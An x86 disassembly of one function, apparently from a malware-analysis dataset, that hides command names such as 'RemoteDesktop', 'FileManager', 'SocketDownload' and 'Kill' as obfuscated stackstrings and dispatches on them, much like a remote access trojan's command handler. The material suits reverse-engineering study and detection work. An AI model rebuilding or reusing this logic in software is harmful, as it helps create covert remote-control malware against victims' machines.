Function at 0x1001cb10
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10047471
mov eax, dword fs:[0]
push eax
sub esp, 0x14c
mov eax, dword [0x1005a280]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x148], ecx
mov eax, dword [ebp + 8]
lea edi, [ebp - 0x55]
mov dword [ebp - 0x14c], eax
lea eax, [ebp - 0x60]
mov dword [ebp - 4], 0
mov dword [ebp - 0x60], 0x656c6946
mov dword [ebp - 0x5c], 0x616e614d
mov word [ebp - 0x58], 0x6567
mov byte [ebp - 0x56], 0x72
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0
sub edi, eax
je 0x1001cbc0
push edi
lea ecx, [ebp - 0x11c]
call fcn.100117d0
mov esi, dword [ebp - 0x11c]
lea eax, [ebp - 0x60]
push edi
push eax
push esi
call fcn.100291e0
lea eax, [edi + esi]
add esp, 0xc
mov dword [ebp - 0x118], eax
lea eax, [ebp - 0x70]
mov byte [ebp - 4], 1
lea edi, [ebp - 0x63]
mov dword [ebp - 0x70], 0x6f6d6552
mov dword [ebp - 0x6c], 0x65446574
mov dword [ebp - 0x68], 0x6f746b73
mov byte [ebp - 0x64], 0x70
mov dword [ebp - 0x110], 0
mov dword [ebp - 0x10c], 0
mov dword [ebp - 0x108], 0
sub edi, eax
je 0x1001cc2e
push edi
lea ecx, [ebp - 0x110]
call fcn.100117d0
mov esi, dword [ebp - 0x110]
lea eax, [ebp - 0x70]
push edi
push eax
push esi
call fcn.100291e0
lea eax, [esi + edi]
add esp, 0xc
mov dword [ebp - 0x10c], eax
lea eax, [ebp - 0x48]
mov byte [ebp - 4], 2
lea edi, [ebp - 0x3e]
mov dword [ebp - 0x48], 0x65696c43
mov dword [ebp - 0x44], 0x6e49746e
mov word [ebp - 0x40], 0x6f66
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x100], 0
mov dword [ebp - 0xfc], 0
sub edi, eax
je 0x1001cc97
push edi
lea ecx, [ebp - 0x104]
call fcn.100117d0
mov esi, dword [ebp - 0x104]
lea eax, [ebp - 0x48]
push edi
push eax
push esi
call fcn.100291e0
lea eax, [edi + esi]
add esp, 0xc
mov dword [ebp - 0x100], eax
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 3
lea edi, [ebp - 0x16]
mov dword [ebp - 0x24], 0x6b636f53
mov dword [ebp - 0x20], 0x6f447465
mov dword [ebp - 0x1c], 0x6f6c6e77
mov word [ebp - 0x18], 0x6461
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0xf4], 0
mov dword [ebp - 0xf0], 0
sub edi, eax
je 0x1001cd07
push edi
lea ecx, [ebp - 0xf8]
call fcn.100117d0
mov esi, dword [ebp - 0xf8]
lea eax, [ebp - 0x24]
push edi
push eax
push esi
call fcn.100291e0
lea eax, [esi + edi]
add esp, 0xc
mov dword [ebp - 0xf4], eax
lea eax, [ebp - 0x54]
mov byte [ebp - 4], 4
lea edi, [ebp - 0x4a]
mov dword [ebp - 0x54], 0x63736944
mov dword [ebp - 0x50], 0x656e6e6f
mov word [ebp - 0x4c], 0x7463
mov dword [ebp - 0xec], 0
mov dword [ebp - 0xe8], 0
mov dword [ebp - 0xe4], 0
sub edi, eax
je 0x1001cd70
push edi
lea ecx, [ebp - 0xec]
call fcn.100117d0
mov esi, dword [ebp - 0xec]
lea eax, [ebp - 0x54]
push edi
push eax
push esi
call fcn.100291e0
lea eax, [esi + edi]
add esp, 0xc
mov dword [ebp - 0xe8], eax
lea eax, [ebp - 0x140]
mov byte [ebp - 4], 5
lea edi, [ebp - 0x13c]
mov dword [ebp - 0x140], 0x676e6950
mov dword [ebp - 0xe0], 0
mov dword [ebp - 0xdc], 0
mov dword [ebp - 0xd8], 0
sub edi, eax
je 0x1001cdd8
push edi
lea ecx, [ebp - 0xe0]
call fcn.100117d0
mov esi, dword [ebp - 0xe0]
lea eax, [ebp - 0x140]
push edi
push eax
push esi
call fcn.100291e0
lea eax, [esi + edi]
add esp, 0xc
mov dword [ebp - 0xdc], eax
lea eax, [ebp - 0x144]
mov byte [ebp - 4], 6
lea edi, [ebp - 0x140]
mov dword [ebp - 0x144], 0x676e6f50
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0xd0], 0
mov dword [ebp - 0xcc], 0
sub edi, eax
je 0x1001ce40
push edi
lea ecx, [ebp - 0xd4]
call fcn.100117d0
mov esi, dword [ebp - 0xd4]
lea eax, [ebp - 0x144]
push edi
push eax
push esi
call fcn.100291e0
lea eax, [esi + edi]
add esp, 0xc
mov dword [ebp - 0xd0], eax
lea eax, [ebp - 0x13c]
mov byte [ebp - 4], 7
lea edi, [ebp - 0x138]
mov dword [ebp - 0x13c], 0x6c6c694b
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xc0], 0
sub edi, eax
je 0x1001cea8
push edi
lea ecx, [ebp - 0xc8]
call fcn.100117d0
mov esi, dword [ebp - 0xc8]
lea eax, [ebp - 0x13c]
push edi
push eax
push esi
call fcn.100291e0
lea eax, [esi + edi]
add esp, 0xc
mov dword [ebp - 0xc4], eax
lea eax, [ebp - 0x3c]
mov byte [ebp - 4], 8
lea edi, [ebp - 0x34]
mov dword [ebp - 0x3c], 0x65636552
mov dword [ebp - 0x38], 0x64657669
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0
sub edi, eax
je 0x1001cf0b
push edi
lea ecx, [ebp - 0xbc]
call fcn.100117d0
mov esi, dword [ebp - 0xbc]
lea eax, [ebp - 0x3c]
push edi
push eax
push esi
call fcn.100291e0
lea eax, [esi + edi]
add esp, 0xc
mov dword [ebp - 0xb8], eax
lea eax, [ebp - 0x98]
mov byte [ebp - 4], 9
lea edi, [ebp - 0x72]
mov dword [ebp - 0x98], 0x3832307b
mov dword [ebp - 0x94], 0x37323042
mov dword [ebp - 0x90], 0x44302d34
mov dword [ebp - 0x8c], 0x342d3331
mov dword [ebp - 0x88], 0x2d333435
mov dword [ebp - 0x84], 0x41364438
mov dword [ebp - 0x80], 0x3541312d
mov dword [ebp - 0x7c], 0x37424533
mov dword [ebp - 0x78], 0x32373346
mov word [ebp - 0x74], 0x7d33
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xa8], 0
sub edi, eax
je 0x1001cfbd
push edi
lea ecx, [ebp - 0xb0]
call fcn.100117d0
mov esi, dword [ebp - 0xb0]
lea eax, [ebp - 0x98]
push edi
push eax
push esi
call fcn.100291e0
lea eax, [edi + esi]
add esp, 0xc
mov dword [ebp - 0xac], eax
lea eax, [ebp - 0x34]
mov byte [ebp - 4], 0xa
lea edi, [ebp - 0x2f]
mov dword [ebp - 0x34], 0x6f727245
mov byte [ebp - 0x30], 0x72
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x9c], 0
sub edi, eax
je 0x1001d01d
push edi
lea ecx, [ebp - 0xa4]
call fcn.100117d0
mov esi, dword [ebp - 0xa4]
lea eax, [ebp - 0x34]
push edi
push eax
push esi
call fcn.100291e0
lea eax, [edi + esi]
add esp, 0xc
mov dword [ebp - 0xa0], eax
lea eax, [ebp - 0x135]
mov byte [ebp - 4], 0xb
push eax
lea ecx, [ebp - 0x98]
push ecx
lea edx, [ebp - 0x11c]
push edx
lea ecx, [ebp - 0x158]
call fcn.10010740
push fcn.100016c0
push 0xb
push 0xc
lea eax, [ebp - 0x11c]
mov byte [ebp - 4], 0xd
push eax
call fcn.10027912
push 0x18
call fcn.10027895
add esp, 4
mov dword [ebp - 0x13c], eax
mov byte [ebp - 4], 0xe
test eax, eax
je 0x1001d088
xorps xmm0, xmm0
mov ecx, eax
movups xmmword [eax], xmm0
movq qword [eax + 0x10], xmm0
call fcn.100054c0
mov edi, eax
jmp 0x1001d08a
xor edi, edi
mov dword [ebp - 0x13c], edi
push dword [ebp - 0x158]
lea eax, [ebp - 0x2c]
mov byte [ebp - 4], 0xf
push eax
mov ecx, edi
call fcn.100244e0
mov esi, dword [ebp - 0x148]
push eax
add esi, 0x10
push esi
call fcn.10018890
mov ecx, dword [ebp - 0x18]
add esp, 8
mov byte [ebp - 0x135], al
cmp ecx, 0xf
jbe 0x1001d0f8
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1001d0e8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001d3fd
push ecx
push edx
call fcn.100278c5
mov al, byte [ebp - 0x135]
add esp, 8
test al, al
je 0x1001d12d
mov eax, dword [ebp - 0x148]
mov ecx, dword [eax + 4]
mov eax, dword [ecx]
push dword [ebp - 0x14c]
call dword [eax + 4]
lea ecx, [ebp - 0x13c]
call fcn.10005d00
lea ecx, [ebp - 0x158]
call fcn.10008bd0
mov al, 1
jmp 0x1001d3d9
mov eax, dword [ebp - 0x158]
mov ecx, edi
add eax, 0xc
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.100244e0
push eax
push esi
call fcn.10018890
mov ecx, dword [ebp - 0x18]
add esp, 8
mov byte [ebp - 0x135], al
cmp ecx, 0xf
jbe 0x1001d18c
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1001d17c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1001d402
push ecx
push edx
call fcn.100278c5
mov al, byte [ebp - 0x135]
add esp, 8
test al, al
je 0x1001d19e
mov eax, dword [ebp - 0x148]
mov ecx, dword [eax + 8]
jmp 0x1001d105
mov eax, dword [ebp - 0x158]
mov ecx, edi
add eax, 0x18
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.100244e0
push eax
push esi
call fcn.10018890
add esp, 8
mov byte [ebp - 0x135], al
lea ecx, [ebp - 0x2c]
call fcn.10001670
cmp byte [ebp - 0x135], 0
je 0x1001d1e2
mov eax, dword [ebp - 0x148]
mov ecx, dword [eax + 0xc]
jmp 0x1001d105
mov eax, dword [ebp - 0x158]
mov ecx, edi
add eax, 0x24
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.100244e0
push eax
push esi
call fcn.10018890
add esp, 8
mov byte [ebp - 0x135], al
lea ecx, [ebp - 0x2c]
call fcn.10001670
cmp byte [ebp - 0x135], 0
je 0x1001d225
mov eax, dword [ebp - 0x148]
mov ecx, dword [eax]
jmp 0x1001d105
mov eax, dword [ebp - 0x158]
mov ecx, edi
add eax, 0x30
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.100244e0
push eax
push esi
call fcn.10018890
add esp, 8
mov byte [ebp - 0x135], al
lea ecx, [ebp - 0x2c]
call fcn.10001670
cmp byte [ebp - 0x135], 0
jne 0x1001d110
mov eax, dword [ebp - 0x158]
mov ecx, edi
add eax, 0x3c
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.100244e0
push eax
push esi
call fcn.10018890
add esp, 8
mov byte [ebp - 0x135], al
lea ecx, [ebp - 0x2c]
call fcn.10001670
cmp byte [ebp - 0x135], 0
jne 0x1001d110
mov eax, dword [ebp - 0x158]
mov ecx, edi
add eax, 0x48
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.100244e0
push eax
push esi
call fcn.10018890
add esp, 8
mov byte [ebp - 0x135], al
lea ecx, [ebp - 0x2c]
call fcn.10001670
cmp byte [ebp - 0x135], 0
jne 0x1001d110
mov eax, dword [ebp - 0x158]
mov ecx, edi
add eax, 0x54
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.100244e0
push eax
push esi
call fcn.10018890
add esp, 8
mov byte [ebp - 0x135], al
lea ecx, [ebp - 0x2c]
call fcn.10001670
cmp byte [ebp - 0x135], 0
jne 0x1001d110
mov eax, dword [ebp - 0x158]
mov ecx, edi
add eax, 0x60
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.100244e0
push eax
push esi
call fcn.10018890
add esp, 8
mov byte [ebp - 0x135], al
lea ecx, [ebp - 0x2c]
call fcn.10001670
cmp byte [ebp - 0x135], 0
jne 0x1001d110
mov eax, dword [ebp - 0x158]
mov ecx, edi
add eax, 0x6c
push eax
lea eax, [ebp - 0x2c]
push eax
call fcn.100244e0
push eax
push esi
call fcn.10018890
add esp, 8
mov byte [ebp - 0x135], al
lea ecx, [ebp - 0x2c]
call fcn.10001670
cmp byte [ebp - 0x135], 0
jne 0x1001d110
mov eax, dword [ebp - 0x158]
mov ecx, edi
add eax, 0x78
push eax
lea eax, [ebp - 0x134]
push eax
call fcn.100244e0
push eax
push esi
call fcn.10018890
add esp, 8
mov byte [ebp - 0x135], al
lea ecx, [ebp - 0x134]
call fcn.10001670
cmp byte [ebp - 0x135], 0
jne 0x1001d110
lea ecx, [ebp - 0x13c]
call fcn.10005d00
lea ecx, [ebp - 0x158]
call fcn.10008bd0
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.100278e1
mov esp, ebp
pop ebp
ret 4
call fcn.1002caaf
call fcn.1002caaf
int3